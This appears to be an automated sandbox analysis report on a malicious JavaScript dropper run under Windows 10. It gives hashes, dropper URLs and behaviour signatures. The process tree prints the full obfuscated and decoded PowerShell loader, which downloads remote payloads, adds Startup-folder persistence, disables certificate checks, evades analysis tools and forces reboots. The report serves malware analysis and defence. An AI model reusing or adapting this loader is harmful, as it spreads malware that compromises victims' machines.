Overview

overview

10

Static

static

1

87ec7ae898...f94.js

windows7-x64

10

87ec7ae898...f94.js

windows10-2004-x64

10

Analysis

  • max time kernel
    93s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-01-2025 06:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    87ec7ae8985a75396354ea6917cb53668ed0d416001bb77b559f6df5a6c7af94.js

  • Size

    195KB

  • MD5

    5fc9235bda05fc24e7305c04ca36ec23

  • SHA1

    2e83ad6567e2d87bffc6392e26aca3c9e3f00c5a

  • SHA256

    87ec7ae8985a75396354ea6917cb53668ed0d416001bb77b559f6df5a6c7af94

  • SHA512

    183f6c9325fb539721ed7bb70996691c3f4448a70fb0d293fcb79abcbb14b3cf732ddf24892a030541b8387f7ab5f76ee8f74a99db1a267ec996c939c8b8b89c

  • SSDEEP

    3072:lW1tKbWXt+NWXt+NWXt+NWXt+NWXt+NWXt+kWXt+NWXt+NWXt+NWXt+NWXt+NWXC:o

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://desckvbrat.com.br/Upcrypter/02/Meu_primeiro_arquivo_de_texto.txt
exe.dropper

https://drive.google.com/uc?export=download&id=
exe.dropper

https://desckvbrat.com.br/Upcrypter/02/Meu_primeiro_arquivo_de_texto.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\87ec7ae8985a75396354ea6917cb53668ed0d416001bb77b559f6df5a6c7af94.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $nKvfY = 'JA' + [char]66 + 'jAEkATw' + [char]66 + 'lAEMAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAYw' + [char]66 + 'JAE8AZQ' + [char]66 + 'DACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'kAG0Acg' + [char]66 + 'mAGIAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAVA' + [char]66 + 'jAGUAZA' + [char]66 + 'RACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAVA' + [char]66 + 'jAGUAZA' + [char]66 + 'RACAAKQAgAHsAJA' + [char]66 + 'kAG0Acg' + [char]66 + 'mAGIAIAA9ACAAKAAkAGQAbQ' + [char]66 + 'yAGYAYgAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGQAbQ' + [char]66 + 'yAGYAYgAgAD0AIAAoACQAZA' + [char]66 + 'tAHIAZg' + [char]66 + 'iACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'yAGIAaw' + [char]66 + 'xAHcAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'yAGIAaw' + [char]66 + 'xAHcALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'yAGIAaw' + [char]66 + 'xAHcALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAZA' + [char]66 + 'tAHIAZg' + [char]66 + 'iACwAIAAoACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACkAIAApACAAOwAkAFQAeg' + [char]66 + '2AEYAUQAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAA9ACAAKAAgACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAVA' + [char]66 + '6AHYARg' + [char]66 + 'RACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ACAAOw' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAGMAdQ' + [char]66 + 'yAGkAdA' + [char]66 + '5AFAAcg' + [char]66 + 'vAHQAbw' + [char]66 + 'jAG8AbA' + [char]66 + 'UAHkAcA' + [char]66 + 'lAF0AOgA6AFQAbA' + [char]66 + 'zADEAMgAgADsAaQ' + [char]66 + 'mACgAKA' + [char]66 + 'nAGUAdAAtAHAAcg' + [char]66 + 'vAGMAZQ' + [char]66 + 'zAHMAIAAnAFcAaQ' + [char]66 + 'yAGUAcw' + [char]66 + 'oAGEAcg' + [char]66 + 'rACcALAAnAGEAcA' + [char]66 + 'hAHQAZQ' + [char]66 + 'EAE4AUwAnACwAJw' + [char]66 + 'hAG4AYQ' + [char]66 + 'sAHkAeg' + [char]66 + 'lACcAIAAtAGUAYQAgAFMAaQ' + [char]66 + 'sAGUAbg' + [char]66 + '0AGwAeQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGkAbg' + [char]66 + '1AGUAKQAgAC0AZQ' + [char]66 + 'xACAAJA' + [char]66 + 'OAHUAbA' + [char]66 + 'sACkAewAgAA0ACgAgACAAIAAgACAAIAAgAA0ACg' + [char]66 + '9AA0ACgANAAoAZQ' + [char]66 + 'sAHMAZQ' + [char]66 + '7ACAADQAKAFIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQALQ' + [char]66 + 'DAG8AbQ' + [char]66 + 'wAHUAdA' + [char]66 + 'lAHIAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsADQAKACAAIAAgACAAIAAgAGUAeA' + [char]66 + 'pAHQAIAA7AA0ACgAgAH0AIAA7ACQAUw' + [char]66 + '0AHIAaQ' + [char]66 + 'uAGcAYg' + [char]66 + 'hAHMAZQA7AEYAdQ' + [char]66 + 'uAGMAdA' + [char]66 + 'pAG8AbgAgAEIAYQ' + [char]66 + 'zAGUATQ' + [char]66 + '5AHsAOwAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AVA' + [char]66 + 'lAHgAdAAuAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZw' + [char]66 + 'dADoAOg' + [char]66 + 'VAFQARgA4AC4ARw' + [char]66 + 'lAHQAUw' + [char]66 + '0AHIAaQ' + [char]66 + 'uAGcAKA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAJA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZw' + [char]66 + 'iAGEAcw' + [char]66 + 'lACkAKQA7AHIAZQ' + [char]66 + '0AHUAcg' + [char]66 + 'uACAAJA' + [char]66 + 'GAHkAZg' + [char]66 + 'kAHoAOw' + [char]66 + '9ADsAJA' + [char]66 + 'iAHgAcg' + [char]66 + '6AHMAIAA9ACAAKAAnAGgAdA' + [char]66 + '0AHAAcwA6AC8ALw' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0AC4AYw' + [char]66 + 'vAG0ALg' + [char]66 + 'iAHIALw' + [char]66 + 'VAHAAYw' + [char]66 + 'yAHkAcA' + [char]66 + '0AGUAcgAnACAAKwAgACcALwAwADIALw' + [char]66 + 'NAGUAdQ' + [char]66 + 'fAHAAcg' + [char]66 + 'pAG0AZQ' + [char]66 + 'pAHIAbw' + [char]66 + 'fAGEAcg' + [char]66 + 'xAHUAaQ' + [char]66 + '2AG8AXw' + [char]66 + 'kAGUAXw' + [char]66 + '0AGUAeA' + [char]66 + '0AG8ALg' + [char]66 + '0AHgAdAAnACAAKQA7ACQASg' + [char]66 + '1AGsAcA' + [char]66 + 'WACAAPQAgACgAIA' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ASQ' + [char]66 + 'PAC4AUA' + [char]66 + 'hAHQAaA' + [char]66 + 'dADoAOg' + [char]66 + 'HAGUAdA' + [char]66 + 'UAGUAbQ' + [char]66 + 'wAFAAYQ' + [char]66 + '0AGgAKAApACAAKwAgACcAZA' + [char]66 + 'sAGwAMAAxAC4AdA' + [char]66 + '4AHQAJwApADsAJA' + [char]66 + '3AGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgAD0AIA' + [char]66 + 'OAGUAdwAtAE8AYg' + [char]66 + 'qAGUAYw' + [char]66 + '0ACAAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAOwAkAGMAUg' + [char]66 + 'tAGUAYwAgAD0AIAAkAHcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0AC4ARA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kAFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAGIAeA' + [char]66 + 'yAHoAcwAgACkAIAA7ACQAUw' + [char]66 + '0AHIAaQ' + [char]66 + 'uAGcAYg' + [char]66 + 'hAHMAZQAgAD0AIAAkAGMAUg' + [char]66 + 'tAGUAYwA7ACAAJA' + [char]66 + 'jAFIAbQ' + [char]66 + 'lAGMAIAA9ACAAQg' + [char]66 + 'hAHMAZQ' + [char]66 + 'NAHkAOwAkAGMAUg' + [char]66 + 'tAGUAYwAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQASg' + [char]66 + '1AGsAcA' + [char]66 + 'WACAALQ' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAAnAFUAVA' + [char]66 + 'GADgAJwAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOwAkAGUAWg' + [char]66 + 'WAE4AeAAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMgAuAHQAeA' + [char]66 + '0ACcAKQAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4AIAA9ACAATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'XAGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4ALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + '1AGYASw' + [char]66 + 'NAEUAIAAgAD0AIAAoACAARw' + [char]66 + 'lAHQALQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGUAbg' + [char]66 + '0ACAALQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'KAHUAaw' + [char]66 + 'wAFYAIAApACAAOwAkAE4AUw' + [char]66 + 'ZAHkAcAAgAD0AIAAkAFAAaA' + [char]66 + 'yAGwATgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + '1AGYASw' + [char]66 + 'NAEUAIAApACAAOwAkAE4AUw' + [char]66 + 'ZAHkAcAAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAZQ' + [char]66 + 'aAFYATg' + [char]66 + '4ACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7ACQAdw' + [char]66 + 'UAGUASg' + [char]66 + 'OACAAPQAgACcAJA' + [char]66 + 'yAHkAYQ' + [char]66 + 'lAEcAIAA9ACAAKA' + [char]66 + 'HAGUAdAAtAEMAbw' + [char]66 + 'uAHQAZQ' + [char]66 + 'uAHQAIAAtAFAAYQ' + [char]66 + '0AGgAIAAnACAAKwAgACQAZQ' + [char]66 + 'aAFYATg' + [char]66 + '4ACAAKwAgACcAIAAtAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAFUAVA' + [char]66 + 'GADgAKQA7ACcAIAA7ACQAdw' + [char]66 + 'UAGUASg' + [char]66 + 'OACAAKwA9ACAAJw' + [char]66 + 'bAEIAeQ' + [char]66 + '0AGUAWw' + [char]66 + 'dAF0AIAAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAHIAeQ' + [char]66 + 'hAGUARwAuAHIAZQ' + [char]66 + 'wAGwAYQ' + [char]66 + 'jAGUAKAAnACcAkyE6AJMhJwAnACwAJwAnAEEAJwAnACkAIAApACAAOwAnACAAOwAkAHcAVA' + [char]66 + 'lAEoATgAgACsAPQAgACcAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEEAcA' + [char]66 + 'wAEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAF0AOgAnACAAKwAgACcAOg' + [char]66 + 'DAHUAcg' + [char]66 + 'yAGUAbg' + [char]66 + '0AEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAC4ATA' + [char]66 + 'vAGEAZAAoACAAJA' + [char]66 + 'GAHkAZg' + [char]66 + 'kAHoAIAApAC4AJwAgADsAJA' + [char]66 + '3AFQAZQ' + [char]66 + 'KAE4AIAArAD0AIAAnAEcAZQ' + [char]66 + '0AFQAeQ' + [char]66 + 'wAGUAKAAgACcAJw' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMATA' + [char]66 + 'pAGIAcg' + [char]66 + 'hAHIAeQAzAC4AQw' + [char]66 + 'sAGEAcw' + [char]66 + 'zADEAJwAnACAAKQAuAEcAZQ' + [char]66 + '0AE0AJwAgADsAJA' + [char]66 + '3AFQAZQ' + [char]66 + 'KAE4AIAArAD0AIAAnAGUAdA' + [char]66 + 'oAG8AZAAoACAAJwAnAHAAcg' + [char]66 + 'GAFYASQAnACcAIAApAC4ASQ' + [char]66 + 'uAHYAbw' + [char]66 + 'rAGUAKAAgACQAbg' + [char]66 + '1AGwAbAAgACwAIA' + [char]66 + 'bAG8AYg' + [char]66 + 'qAGUAYw' + [char]66 + '0AFsAXQ' + [char]66 + 'dACAAKAAgACcAJw' + [char]66 + 'kAGYAMgAxADgAOAA5AGMAZg' + [char]66 + 'iAGEAOQAtADQAOQA3AGEALQAwADgANwA0AC0ANgAzADIAYwAtAGUAMA' + [char]66 + 'jAGQAMAAzAGYAYwA9AG4AZQ' + [char]66 + 'rAG8AdAAmAGEAaQ' + [char]66 + 'kAGUAbQA9AHQAbA' + [char]66 + 'hAD8AdA' + [char]66 + '4AHQALg' + [char]66 + 'sAG8AZw' + [char]66 + '1AGgALw' + [char]66 + 'vAC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AG8AcA' + [char]66 + 'zAHAAcA' + [char]66 + 'hAC4AOA' + [char]66 + 'lADcAZQA4AC0Acw' + [char]66 + 'vAGkAcg' + [char]66 + 'hAG4Abw' + [char]66 + 'sAGwAbw' + [char]66 + 'tAC8AYgAvADAAdgAvAG0Abw' + [char]66 + 'jAC4Acw' + [char]66 + 'pAHAAYQ' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAZw' + [char]66 + 'hAHIAbw' + [char]66 + '0AHMAZQ' + [char]66 + 'zAGEAYg' + [char]66 + 'lAHIAaQ' + [char]66 + 'mAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACcAIAAsACAAJwAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAnACAALAAgACAAJwAnAEQAIA' + [char]66 + 'EAEQASQ' + [char]66 + 'uAHMAdA' + [char]66 + 'hAGwAbA' + [char]66 + 'VAHQAaQ' + [char]66 + 'sACcAJwAgACAAKQAgACkAOwAnADsAJA' + [char]66 + 'WAEIAVw' + [char]66 + 'XAHoAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADMALg' + [char]66 + 'wAHMAMQAnACkAIAA7ACQAdw' + [char]66 + 'UAGUASg' + [char]66 + 'OACAAfAAgAE8AdQ' + [char]66 + '0AC0ARg' + [char]66 + 'pAGwAZQAgAC0ARg' + [char]66 + 'pAGwAZQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'WAEIAVw' + [char]66 + 'XAHoAIAAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOw' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sACAALQ' + [char]66 + 'FAHgAZQ' + [char]66 + 'jAHUAdA' + [char]66 + 'pAG8Abg' + [char]66 + 'QAG8AbA' + [char]66 + 'pAGMAeQAgAEIAeQ' + [char]66 + 'wAGEAcw' + [char]66 + 'zACAALQ' + [char]66 + 'GAGkAbA' + [char]66 + 'lACAAJA' + [char]66 + 'WAEIAVw' + [char]66 + 'XAHoAIAA7AH0AOwA=';$nKvfY = $nKvfY.replace('革','B') ;$nKvfY = [System.Convert]::FromBase64String( $nKvfY ) ;;;$nKvfY = [System.Text.Encoding]::Unicode.GetString( $nKvfY ) ;$nKvfY = $nKvfY.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\87ec7ae8985a75396354ea6917cb53668ed0d416001bb77b559f6df5a6c7af94.js') ;powershell $nKvfY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$cIOeC = $host.Version.Major.Equals(2);If ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$dmrfb = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $TcedQ ) {$dmrfb = ($dmrfb + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$dmrfb = ($dmrfb + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$rbkqw = ( New-Object Net.WebClient ) ;$rbkqw.Encoding = [System.Text.Encoding]::UTF8 ;$rbkqw.DownloadFile($dmrfb, ($HzOMj + '\Upwin.msu') ) ;$TzvFQ = ( 'C:\Users\' + [Environment]::UserName );JCCGX = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\87ec7ae8985a75396354ea6917cb53668ed0d416001bb77b559f6df5a6c7af94.js' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$Stringbase;Function BaseMy{;$Fyfdz = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($Stringbase));return $Fyfdz;};$bxrzs = ('https://desckvbrat.com.br/Upcrypter' + '/02/Meu_primeiro_arquivo_de_texto.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $bxrzs ) ;$Stringbase = $cRmec; $cRmec = BaseMy;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$eZVNx = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$NSYyp = $PhrlN.DownloadString( $ufKME ) ;$NSYyp | Out-File -FilePath $eZVNx 